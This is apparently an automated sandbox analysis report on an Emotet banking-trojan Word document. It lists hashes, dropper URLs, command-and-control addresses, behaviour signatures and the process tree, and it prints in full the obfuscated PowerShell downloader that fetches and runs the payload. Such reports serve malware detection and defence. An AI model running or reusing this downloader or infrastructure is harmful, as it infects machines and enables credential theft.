emotet | 5eece7ec830568a2194fbb5ebd83497febb679a42b9c38e7644649fff908baed

Analysis

max time kernel
136s
max time network
128s
platform
windows10_x64
resource
win10
submitted
02/10/2020, 00:31

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General

Target
emotet_e1_5eece7ec830568a2194fbb5ebd83497febb679a42b9c38e7644649fff908baed_2020-10-02__002837740411._doc.doc
Size 191KB
Sample201002-3melkn1ca2
SHA256 5eece7ec830568a2194fbb5ebd83497febb679a42b9c38e7644649fff908baed
MD5 ffc61f0f6c204da462516f1c3271a478
SHA1 7fa30d32ea690fba85414e119f6f78318e53f9dc
SHA512 1a80d08424f4904d0a3594e884a24a6955f396c8d82e56cb58c422f6f50628c2e04fd4340ebbf38f659eb639a726445656c4306627193a5feea09b7b4d6c9957
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://reklamdasiniz.com/wp-admin/W/
exe.dropper
http://www.paramedicaleducationguidelines.com/wp-admin/7S/
exe.dropper
http://bimasoftcbt.maannajahjakarta.com/wp-admin/i3K/
exe.dropper
http://casualhome.com/wp-admin/Y/
exe.dropper
https://aemine.vn/wp-admin/KMq/
exe.dropper
http://aahnaturals.net/wp-includes/A3/
exe.dropper
https://sbsec.org/bsadmin-portal/1nf/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2104	904	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3372-13-0x0000000000560000-0x0000000000572000-memory.dmp	emotet
behavioral2/memory/3372-14-0x0000000000540000-0x0000000000550000-memory.dmp	emotet
behavioral2/memory/2760-17-0x0000000000540000-0x0000000000552000-memory.dmp	emotet
behavioral2/memory/2760-18-0x0000000000640000-0x0000000000650000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2104	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3372	N4kqup.exe
2760	ndproxystub.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\PasswordOnWakeSettingFlyout\ndproxystub.exe	N4kqup.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2104	POwersheLL.exe
2104	POwersheLL.exe
2104	POwersheLL.exe
2760	ndproxystub.exe
2760	ndproxystub.exe
2760	ndproxystub.exe
2760	ndproxystub.exe
2760	ndproxystub.exe
2760	ndproxystub.exe
2760	ndproxystub.exe
2760	ndproxystub.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3372	N4kqup.exe
2760	ndproxystub.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 3372	2104	POwersheLL.exe	78
PID 2104 wrote to memory of 3372	2104	POwersheLL.exe	78
PID 2104 wrote to memory of 3372	2104	POwersheLL.exe	78
PID 3372 wrote to memory of 2760	3372	N4kqup.exe	81
PID 3372 wrote to memory of 2760	3372	N4kqup.exe	81
PID 3372 wrote to memory of 2760	3372	N4kqup.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_5eece7ec830568a2194fbb5ebd83497febb679a42b9c38e7644649fff908baed_2020-10-02__002837740411._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABWAHQAbQBmADQAegB5AD0AKAAoACcATABsACcAKwAnADcAJwApACsAKAAnAGwAJwArACcAMQBpACcAKQArACcAeQAnACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AVgA6AHUAcwBFAHIAUABSAE8ARgBpAEwARQBcAEsAdgBvADkAOQAwAFcAXAB5AGgAVwAwAFMAOABlAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBJAGAAVAB5AFAAYABSAG8AVABvAGAAYwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABBADAAOABwAHMAcABfACAAPQAgACgAKAAnAE4AJwArACcANABrACcAKQArACgAJwBxACcAKwAnAHUAcAAnACkAKQA7ACQAVwB3AGUAcwBnAHUAcwA9ACgAJwBEACcAKwAoACcANgByACcAKwAnAHYAJwApACsAKAAnADAAJwArACcAYwA1ACcAKQApADsAJABWAGgAYwBxAG8AZwBxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AJwArACgAJwBxAEkAJwArACcASwB2AG8AOQAnACkAKwAoACcAOQAwAHcATwBxAEkAJwArACcAWQBoACcAKQArACcAdwAnACsAJwAwACcAKwAnAHMAJwArACgAJwA4ACcAKwAnAGUATwBxAEkAJwApACkAIAAgAC0AUgBlAFAAbABhAEMARQAoACcATwAnACsAJwBxAEkAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEEAMAA4AHAAcwBwAF8AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAOAA1AHMAeABkAGsAPQAoACcAUwAnACsAKAAnAHUAdAAnACsAJwBwAHoAeAB6ACcAKQApADsAJABKAGgANQBnAG4ANwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMAbABpAEUAbgBUADsAJABUADgAeQA4AGsAeAB5AD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwByAGUAawAnACsAJwBsAGEAbQAnACsAJwBkACcAKQArACgAJwBhAHMAJwArACcAaQBuAGkAegAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwBXAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwB3AC4AcAAnACsAJwBhACcAKQArACgAJwByAGEAbQBlAGQAJwArACcAaQBjAGEAbAAnACkAKwAnAGUAJwArACgAJwBkAHUAYwAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGkAbwBuAGcAdQAnACsAJwBpAGQAZQBsAGkAbgAnACkAKwAoACcAZQAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYQBkACcAKwAnAG0AJwApACsAKAAnAGkAbgAnACsAJwAvADcAUwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvAC8AJwArACcAYgBpAG0AYQAnACsAJwBzACcAKQArACcAbwAnACsAKAAnAGYAdABjAGIAJwArACcAdAAuAG0AYQAnACsAJwBhAG4AJwApACsAKAAnAG4AJwArACcAYQBqACcAKQArACgAJwBhACcAKwAnAGgAagBhACcAKwAnAGsAYQAnACkAKwAnAHIAdAAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AaQAnACsAJwAzAEsALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGMAYQBzAHUAYQBsACcAKwAnAGgAbwBtAGUALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8AWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcABzADoALwAvAGEAJwArACcAZQBtACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgB2ACcAKwAnAG4AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZAAnACsAJwBtAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBLAE0AcQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AYQBhACcAKwAnAGgAJwApACsAKAAnAG4AYQAnACsAJwB0ACcAKQArACgAJwB1ACcAKwAnAHIAJwArACcAYQBsACcAKwAnAHMALgBuAGUAdAAvAHcAcAAnACkAKwAnAC0AaQAnACsAKAAnAG4AYwBsAHUAZAAnACsAJwBlACcAKwAnAHMALwBBADMALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBiACcAKQArACcAcwAnACsAJwBlAGMAJwArACgAJwAuACcAKwAnAG8AcgAnACkAKwAoACcAZwAnACsAJwAvAGIAJwApACsAKAAnAHMAJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgAtACcAKwAnAHAAJwApACsAKAAnAG8AJwArACcAcgB0ACcAKQArACgAJwBhAGwAJwArACcALwAxACcAKQArACgAJwBuACcAKwAnAGYALwAnACkAKQAuACIAUwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAGcAcQB1AHoAZwBzAD0AKAAoACcAWQBwADMAJwArACcAcgBpACcAKQArACcAeQAnACsAJwB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcwByAHkAYQAwAG4AIABpAG4AIAAkAFQAOAB5ADgAawB4AHkAKQB7AHQAcgB5AHsAJABKAGgANQBnAG4ANwBmAC4AIgBkAGAAbwBXAE4AbABPAGAAQQBEAGYAYABJAGwAZQAiACgAJABNAHMAcgB5AGEAMABuACwAIAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUwAwAHYAdAAyADkAMgA9ACgAJwBJADYAJwArACgAJwA0AHgAJwArACcAYQAnACkAKwAnAGMAZwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVgBoAGMAcQBvAGcAcQApAC4AIgBsAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADgANAAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUABmADQAeABrAGcAdAA9ACgAJwBVACcAKwAnAHUAJwArACgAJwBoAG0ANAAnACsAJwBhAGIAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AMQAyAGMAZgBmAHMAPQAoACgAJwBRAGkAJwArACcANQBuADcAJwApACsAJwBhACcAKwAnADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAGwAdwBzADcAbgBwAD0AKAAoACcAQQBlACcAKwAnADkAJwApACsAKAAnAG4AdQByACcAKwAnAHQAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Users\Admin\Kvo990w\Yhw0s8e\N4kqup.exe
  "C:\Users\Admin\Kvo990w\Yhw0s8e\N4kqup.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\PasswordOnWakeSettingFlyout\ndproxystub.exe
    "C:\Windows\SysWOW64\PasswordOnWakeSettingFlyout\ndproxystub.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2104-8-0x000002117F1B0000-0x000002117F1B1000-memory.dmp

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memory/2104-7-0x00007FFEA21A0000-0x00007FFEA2B8C000-memory.dmp

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memory/2104-9-0x000002117F490000-0x000002117F491000-memory.dmp

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memory/2760-18-0x0000000000640000-0x0000000000650000-memory.dmp

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memory/2760-17-0x0000000000540000-0x0000000000552000-memory.dmp

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memory/3056-1-0x0000029AEDE93000-0x0000029AEDE96000-memory.dmp

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memory/3056-5-0x0000029AEDDBD000-0x0000029AEDDCE000-memory.dmp

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memory/3056-6-0x0000029AEDDB6000-0x0000029AEDDBB000-memory.dmp

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memory/3056-0-0x00007FFEA9A30000-0x00007FFEAA0F6000-memory.dmp

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memory/3056-4-0x0000029AEDDBD000-0x0000029AEDDCE000-memory.dmp

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memory/3056-3-0x0000029AEDDBB000-0x0000029AEDDBD000-memory.dmp

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memory/3056-2-0x0000029AEDDBB000-0x0000029AEDDBD000-memory.dmp

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memory/3372-14-0x0000000000540000-0x0000000000550000-memory.dmp

Download

memory/3372-13-0x0000000000560000-0x0000000000572000-memory.dmp

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